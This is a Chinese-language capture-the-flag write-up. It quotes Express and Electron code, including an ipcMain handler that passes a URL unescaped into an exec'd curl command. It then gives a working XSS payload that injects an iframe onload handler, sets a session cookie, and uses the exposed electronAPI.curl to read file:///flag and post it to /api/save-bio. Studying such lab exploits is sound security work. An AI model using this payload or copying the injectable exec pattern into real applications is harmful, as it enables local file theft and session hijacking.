if (req.session.user.role !== 'admin') {
return res.status(403).json({ success: false, message: '权限不足' });
}
const { key } = req.body;
bgURL = key;
try {
const fileUrl = `http://ctf.mudongmudong.com/${bgURL}`;
const response = await fetch(fileUrl);
if (response.ok) {
const content = response.text();
} else {
console.error('获取文件失败:', response.statusText);
return res.status(400).json({ success: false, message: '获取文件内容失败' });
}
} catch (error) {
return res.status(400).json({ success: false, message: '打开文件失败' });
}
loginBgUrl = key;
res.json({ success: true, message: '背景设置成功' });
});



app.get('/api/bot', ensureAuthenticated, (req, res) => {

if (req.session.user.role !== 'admin') {
return res.status(403).json({ success: false, message: '权限不足' });
}

const scriptPath = path.join(__dirname, 'bot_visit');

// bot 将会使用客户端软件访问 http://127.0.1:3000/ ,但是bot可不会带着他的秘密去访问哦

execFile(scriptPath, ['--no-sandbox'], (error, stdout, stderr) => {
if (error) {
console.error(`bot visit fail: ${error.message}`);
return res.status(500).json({ success: false, message: 'bot visit failed' });
}

console.log(`bot visit success:\n${stdout}`);
res.json({ success: true, message: 'bot visit success' });
});
});

// 下载客户端软件
app.get('/downloadClient', (req, res) => {
const filePath = path.join(__dirname, 'client_setup.zip');

if (!fs.existsSync(filePath)) {
return res.status(404).json({ success: false, message: '客户端文件不存在' });
}

res.download(filePath, 'client_setup.zip', (err) => {
if (err) {
console.error('client download error: ', err);
return res.status(500).json({ success: false, message: '下载失败' });
} else {
}
});
});

// 启动服务器
app.listen(PORT, () => {
console.log(`服务器运行在端口 ${PORT}`);
});

nepn3pctf-game2025,拿到admin的账号了

大体思路是找xss,去访问最开始解包的

1
2
3
4
5
6
7
8
9
10
11
12
13
ipcMain.handle('curl', async (event, url) => {
return new Promise((resolve) => {

const cmd = `curl -L "${url}"`;

exec(cmd, (error, stdout, stderr) => {
if (error) {
return resolve({ success: false, error: error.message });
}
resolve({ success: true, data: stdout });
});
});
});

连接到之后可以拿到源码

和我们最开始解包获得的东西比较,应该是要用xss 去调用electronAPI暴露在外面的那个curl的接口

利用admin的管理员账号我们可以实现什么呢

我们可以设置主页界面,/api/save-bio作为回显处

1
2
3
4
5
6
7
8
9
10
11
app.get('/', (req, res) => {
let loginHtml = fs.readFileSync(path.join(__dirname, 'public', 'login.html'), 'utf8');
if (loginBgUrl) {
const key = loginBgUrl.replace('/uploads/', 'uploads/');
const fileUrl = `http://ctf.mudongmudong.com/${key}`;

const iframeHtml = `<iframe id="backgroundframe" src="${fileUrl}" style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: -1; border: none;"></iframe>`;
loginHtml = loginHtml.replace('</body>', `${iframeHtml}</body>`);
}
res.send(loginHtml);
});

直接拼接存在过滤

不出网,借助/api/save-bio回显

payload

1
{"key":"x\" onload=\"document.cookie='connect.sid=s%3A2IyVvrMrKpsxYeAVvr-6XkcgtPLfzeag.J%2F%2B0qDmfzAt23SC4Z9OHyjSIIcyWaOSVkPH276dCBBE';window.electronAPI.curl('file:///flag').then(data=>{console.log(data);fetch('/api/save-bio', {method: 'POST', headers: {'Content-Type': 'application/json',},body: JSON.stringify({'bio':JSON.stringify(data)})})})\" x=\""}

然后访问/api/bot,可以在uuid处拿到flag

由于环境问题导致flag依旧不出,哎,妙妙xss,有种打老外比赛的美感